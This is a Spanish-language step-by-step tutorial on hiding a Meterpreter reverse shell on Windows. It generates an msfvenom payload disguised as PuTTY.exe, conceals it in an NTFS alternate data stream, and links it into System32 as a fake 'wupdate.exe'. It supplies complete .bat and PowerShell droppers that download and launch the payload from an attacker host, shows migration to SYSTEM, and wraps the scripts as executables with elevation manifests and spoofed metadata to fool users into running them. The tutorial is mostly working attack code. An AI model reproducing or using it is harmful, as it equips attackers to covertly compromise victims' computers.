Crear RevrseShell oculta de manera profesional en un archivo en windows (.exe .bat .ps1)

Forma manual para entender como funciona por dentro

Vamos a crear el archivo malicioso oculto dentro de uno legitimo, escogeremos cualquier aplicacion que queramos ocultar el codigo malicioso, una vez teniendo la aplicacion haremos lo siguiente.

Antes de crearlo en nuestra maquina atacante creamos el archivo con msfvenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > PuTTY.exe

Configuramos la escucha de metasploit.

msfconsole -q
use multi/handler

Configuramos la escucha.

set payload windows/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>

Y ejecutamos la escucha, ahora esto lo dejaremos en segundo plano.

run

En otra terminal, abrimos un servidor de python para pasarnos la aplicacion legitima con codigo maligno.

python3 -m http.server 80

Dentro de la maquina victima windows, haremos lo siguiente (Aqui estamos simulando que un usuario se descarga una palicacion o apk maliciosa sin que el mismo lo sepa desde internet).

certutil -urlcache -f http://<IP>/PuTTY.exe payload.exe

Moveremos el archivo legitimo a la carpeta Temp/ (Esto para que sea mas limpio todo, pero se podra dejar en el mismo escritorio si lo desea).

move payload.exe C:\Temp\

(Si no tenemos la carpeta la creamos.)

mkdir C:\Temp\
cd C:\Temp\

Una vez dentro de la carpeta con el archivo (Esto se puede configurar para que cuando habra el archivo se cree todo esto con un script en el archivo oculto, asi seria mas realista).

type payload.exe > windowslog.txt:PuTTY.exe

Ahora lo que haria un atacante sera meter informacion legitima y real dentro del archivo de windowslog.txt para no levantar sospechas.

notepad windowslog.txt

Y dentro se meteran los logs o informacion para que no sea cantoso.

Ahora podremos eliminar el archivo payload.exe.

del payload.exe

Ahora para que funcione el ejecutable craeremos un enlace simbolico a el en el sistema de la siguiente forma.

cd Windows\System32

Crearemos un link llamado wupdate.exe para que parezca que es un registro de las actualizaciones de windows.

mklink wupdate.exe C:\Temp\windowslog.txt:PuTTY.exe

Y si desde la terminal ejecutamos como atacantes el archivo wupdate.exe veremos que se ejecuta el PuTTY.exe que seria el archivo malicioso que le hayamos metido nosotros.

wupdate

o

start C:\<PATH>\wupdate.exe

Y con esto ya estaria ejecutado de manera oculta el .exe, por lo que si nos vamos a donde teniamos la escucha de metasploit, veremos que tenemos una shell.

[*] Started reverse TCP handler on 192.168.5.199:7777 
[*] Sending stage (201798 bytes) to 192.168.5.138
[*] Meterpreter session 1 opened (192.168.5.199:7777 -> 192.168.5.138:49185) at 2024-07-28 14:56:45 +0200

meterpreter > getuid
Server username: vuln-smb\diseo

Por lo que ya tendriamos acceso al sistema de windows mediante una terminal ocultandolo en una aplicacion legitima.

2ª Forma mas profesional de hacer lo anterior

Vamos a crear el archivo malicioso oculto dentro de uno legitimo, escogeremos cualquier aplicacion que queramos ocultar el codigo malicioso, una vez teniendo la aplicacion haremos lo siguiente.

Antes de crearlo en nuestra maquina atacante creamos el archivo con msfvenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > PuTTY.exe

Configuramos la escucha de metasploit.

msfconsole -q
use multi/handler

Configuramos la escucha.

set payload windows/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>

Y ejecutamos la escucha, ahora esto lo dejaremos en segundo plano.

run

Ahora vamos abrir un servidor de python3 simulando que es una pagina web o lo que querais suplantar por algo legitimo para que el usuario pique y se descargue nuestro archivo malicioso.

python3 -m http.server 80

Donde tengamos el servidor abierto plantamos el archivo que el usuario se va a descragar, en mi caso cree un script en .bat que te automatiza todo lo anetrior.

script.bat

@echo off

:: Descargar el archivo
certutil -urlcache -f http://<IP>/PuTTY.exe payload.exe
if %ERRORLEVEL% NEQ 0 (
    exit /b %ERRORLEVEL%
)

:: Crear directorio Temp si no existe
if not exist C:\Temp\ (
    mkdir C:\Temp\
    if %ERRORLEVEL% NEQ 0 (
        exit /b %ERRORLEVEL%
    )
)

:: Mover el archivo descargado
move payload.exe C:\Temp\
if %ERRORLEVEL% NEQ 0 (
    exit /b %ERRORLEVEL%
)

:: Crear el archivo NTFS alternativo
type C:\Temp\payload.exe > C:\Temp\windowslog.txt:PuTTY.exe
if %ERRORLEVEL% NEQ 0 (
    exit /b %ERRORLEVEL%
)

:: Borrar el archivo original
del C:\Temp\payload.exe
if %ERRORLEVEL% NEQ 0 (
    exit /b %ERRORLEVEL%
)

:: Crear un enlace simbólico
mklink C:\Windows\System32\wupdate.exe C:\Temp\windowslog.txt:PuTTY.exe
if %ERRORLEVEL% NEQ 0 (
    exit /b %ERRORLEVEL%
)

:: Verificar existencia del enlace simbólico
if not exist C:\Windows\System32\wupdate.exe (
    exit /b 1
)

:: Ejecutar el enlace simbólico
start C:\Windows\System32\wupdate.exe
if %ERRORLEVEL% NEQ 0 (
    exit /b %ERRORLEVEL%
)

:: Cerrar CMD automáticamente
exit

Donde pone <IP> le pondremos nuestra IP donde tengamos el servidor de python abierto y por todo lo demas se queda como esta, este ejecutable se tendra que ejecutar como administrador eso es importante saberlo.

Una vez ejecutado ese .bat, si nos vamos a la escucha donde tenemos en metasploit.

[*] Started reverse TCP handler on 192.168.5.199:7777 
[*] Sending stage (201798 bytes) to 192.168.5.138
[*] Meterpreter session 3 opened (192.168.5.199:7777 -> 192.168.5.138:49167) at 2024-07-28 17:44:41 +0200

meterpreter > getuid
Server username: vuln-smb\diseo

Veremos que somos el usuario normal, esto en tal caso de que no estuviera en ninguna cuenta como administrador, por lo que para ser administradores totalmente, haremos lo siguiente.

migraremos a un proceso que se este ejecutando como NT AUTHORITY\SYSTEM, para que no de ningun error elegire el siguiente proceso.

ps

Info:

Process List
============

 PID   PPID  Name                      Arch  Session  User                          Path
 ---   ----  ----                      ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                    x64   0
 256   4     smss.exe                  x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 324   316   csrss.exe                 x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 372   316   wininit.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe
 380   364   csrss.exe                 x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 420   364   winlogon.exe              x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe
 464   372   services.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe
 472   372   lsass.exe                 x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe
 480   372   lsm.exe                   x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsm.exe
 524   464   svchost.exe               x64   0        NT AUTHORITY\Servicio de red  C:\Windows\system32\svchost.exe
 584   464   svchost.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\svchost.exe
 648   464   svchost.exe               x64   0        NT AUTHORITY\Servicio de red  C:\Windows\system32\svchost.exe
 740   1400  SearchProtocolHost.exe    x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\SearchProtocolHost.exe
 784   464   svchost.exe               x64   0        NT AUTHORITY\SERVICIO LOCAL   C:\Windows\System32\svchost.exe
 836   464   svchost.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 876   464   svchost.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\svchost.exe
 936   784   audiodg.exe               x64   0
 988   464   svchost.exe               x64   0        NT AUTHORITY\SERVICIO LOCAL   C:\Windows\system32\svchost.exe
 1036  464   spoolsv.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1072  464   svchost.exe               x64   0        NT AUTHORITY\SERVICIO LOCAL   C:\Windows\system32\svchost.exe
 1192  464   svchost.exe               x64   0        NT AUTHORITY\SERVICIO LOCAL   C:\Windows\system32\svchost.exe
 1400  464   SearchIndexer.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\SearchIndexer.exe
 1564  464   svchost.exe               x64   0        NT AUTHORITY\Servicio de red  C:\Windows\system32\svchost.exe
 1696  1400  SearchFilterHost.exe      x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\SearchFilterHost.exe
 1724  464   taskhost.exe              x64   1        vuln-smb\diseo                C:\Windows\system32\taskhost.exe
 1752  836   dwm.exe                   x64   1        vuln-smb\diseo                C:\Windows\system32\Dwm.exe
 1768  1740  explorer.exe              x64   1        vuln-smb\diseo                C:\Windows\Explorer.EXE
 2004  464   wmpnetwk.exe              x64   0        NT AUTHORITY\Servicio de red  C:\Program Files\Windows Media Player\wmpnetwk.exe
 2500  2528  windowslog.txt:PuTTY.exe  x64   1        vuln-smb\diseo                C:\Windows\System32\wupdate.exe
584   464   svchost.exe    x64   0   NT AUTHORITY\SYSTEM C:\Windows\system32\svchost.exe

Ese mismo de ahi.

migrate 584

Info:

[*] Migrating from 2500 to 584...
[*] Migration completed successfully.

Y si vemos que usuario somos.

getuid

Info:

Server username: NT AUTHORITY\SYSTEM

Veremos que somos el usuario administrador.

Pasarlo de .bat a .exe

Primero nos descargaremos la siguiente herramienta.

URL = https://mega.nz/file/XZJVQYyD#8RuAvD2chnl2sPiI3XqZblg74nMFkvPXx1fWVwSgM-I

Una vez hecho esto la descomprimimos y la ejecutamos, ahora pasaremos a la parte de configuracion.

Donde pone Batch file: elegiremos nuestro .bat, las demas opciones estan a gusto de cada uno.

(Donde pone Add Vista administrador manifest es para que cuando le des doble click al .exe te pida que lo ejecutes como administrador)

En la pestaña Versioninformations cragaremos un.ico en tal caso de que tengamos uno y si habilitamos la seccion de Include Versioninformatios podremos ser mas profesionales a la hora de los metadatos o la informacion que lleve ese ejecutable.

Una vez hecho todo eso le daremos a Compilar y ya estaria listo nuestro .exe.

Implementar ejecuccion en modo administrador

Si queremos que nuestro .exe se ejecute con el modo administrador (Que nos lo pida) haremos lo siguiente.

Nos descargaremos la siguiente herramienta en windows.

URL = https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/

Una vez instalada nos iremos a la siguiente ruta, esto dependera de la version que tengais cada uno, la mia por ejemplo sera la siguiente.

cd "C:\Program Files (x86)\Windows Kits\10\bin\10.0.26100.0\x64\"

Y si aqui buscamos en el buscador de la carpeta mt.exe verificaremos que existe correctamente, ahora crearemos un .manifest que te pida que lo ejecutes como administrador.

elevate.manifest

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>

Y esto lo guardamos en un .manifest en mi caso lo llame elevate.manifest, una vez hecho esto y teniendo el archivo .exe en la misma carpeta que el .manifest haremos lo siguiente.

Dentro de un cmd como administradores.

cd C:\<PATH_MANIFEST_AND_EXE>\

Ejemplo:

Yo en mi caso lo tengo en mi escritorio en el usuario llamado user.

cd C:\Users\user\Desktop\

Aqui en este comando lo que hara sera implementar ya el que te pida que se ejecute como administrador, pero donde pone <FILE>.exe se cambiara por tu .exe y en la ruta C:\Program Files (x86)\Windows Kits\10\bin\10.0.26100.0\x64\mt.exe se cambiara por tu version de mt.exe que tenga en ese momento, lo unico que cambiara lo mas seguro sea esta parte \10.0.26100.0\ siempre coge la version mas alta.

"C:\Program Files (x86)\Windows Kits\10\bin\10.0.26100.0\x64\mt.exe" -manifest "C:\Users\user\Desktop\elevate.manifest" -outputresource:"C:\Users\user\Desktop\<FILE>.exe;#1"

Info:

Microsoft (R) Manifest Tool                                                        Copyright (c) Microsoft Corporation.                                               All rights reserved.

Hecho esto, ya tendriamos nuestro archivo para que solicite ejecutarlo como administrador.

Compatibilidad con Windows 10 y 11

Para los pasos mencionados anteriores el codigo que esta en .bat habra que pasarlo a .ps1 (PowerShell) ya que a veces no funciona con el cmd solo.

Crearemos el archivo PuTTY.ps1.

PuTTY.ps1

# Verificar si el script se está ejecutando como administrador
if (-not [bool](Test-Path "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe")) {
    Write-Output "Solicitando privilegios de administrador..."
    Start-Process powershell -ArgumentList "-File `"$PSCommandPath`"" -Verb RunAs
    exit
}

try {
    # Crear directorio Temp si no existe
    Write-Output "Creando directorio Temp..."
    if (-not (Test-Path "C:\Temp")) {
        New-Item -Path "C:\Temp" -ItemType Directory -ErrorAction Stop
    }

    # Descargar el archivo payload
    Write-Output "Descargando payload..."
    Invoke-WebRequest -Uri 'http://<IP>/PuTTY.exe' -OutFile 'C:\Temp\payload.exe' -ErrorAction Stop

    # Mover el archivo descargado
    Write-Output "Moviendo payload a Temp..."
    Move-Item -Path 'C:\Temp\payload.exe' -Destination 'C:\Temp\' -ErrorAction Stop

    # Crear el flujo alternativo NTFS
    Write-Output "Creando flujo alternativo NTFS..."
    cmd /c "type C:\Temp\payload.exe > C:\Temp\windowslog.txt:PuTTY.exe"

    # Borrar el archivo original
    Write-Output "Borrando el archivo original..."
    Remove-Item -Path 'C:\Temp\payload.exe' -ErrorAction Stop

    # Crear el enlace simbólico
    Write-Output "Creando enlace simbólico..."
    cmd /c mklink "C:\Windows\System32\wupdate.exe" "C:\Temp\windowslog.txt:PuTTY.exe"

    # Verificar existencia del enlace simbólico
    Write-Output "Verificando existencia del enlace simbólico..."
    if (Test-Path 'C:\Windows\System32\wupdate.exe') {
        Write-Output "Enlace simbólico creado con éxito."
    } else {
        Write-Output "Enlace simbólico no encontrado."
        exit 1
    }

    # Ejecutar el enlace simbólico
    Write-Output "Ejecutando enlace simbólico..."
    Start-Process -FilePath 'C:\Windows\System32\wupdate.exe' -NoNewWindow -Wait

    Write-Output "Script completado."
} catch {
    Write-Output "Error: $_"
} finally {
    Write-Output "Presione una tecla para salir."
    Read-Host
}

Donde pone <IP> tendremos que poner la de nuestra maquina atacante, y ya lo demas es dependiendo de como creeis vuestros archivos.

Despues lo que tendremos que hacer sera abrir PowerShell como administrador y descargarnos la siguiente herramienta para pasar de .ps1 a .exe.

URL = https://www.advancedinstaller.com/convert-powershell-to-exe.html

Instalaremos el siguiente modulo.

Install-Module ps2exe

Una vez instalado, ejecutaremos el programa.

win-ps2exe

Esto nos abrira una interfaz grafica de usuario en la que lo configuraremos de la siguiente manera.

Donde pone Source File: pondremos el archivo PuTTY.ps1 con su PATH correspondiente, en la parte de Target File: pondremos la misma ruta del Source File pero cambiando el nombre a PuTTY.exe y en la parte de Icon File: seleccionaremos el icono que querramos que nuestro .exe tenga de imagen (Esto ultimo es opcional).

Despues dejaremos las opciones como se muestra en la siguiente imagen:

Y le daremos a Compile, una vez hecho esto ya tendriamos nuestro .exe para crear una Reverse Shell como mencione en los anteriores pasos.

Last updated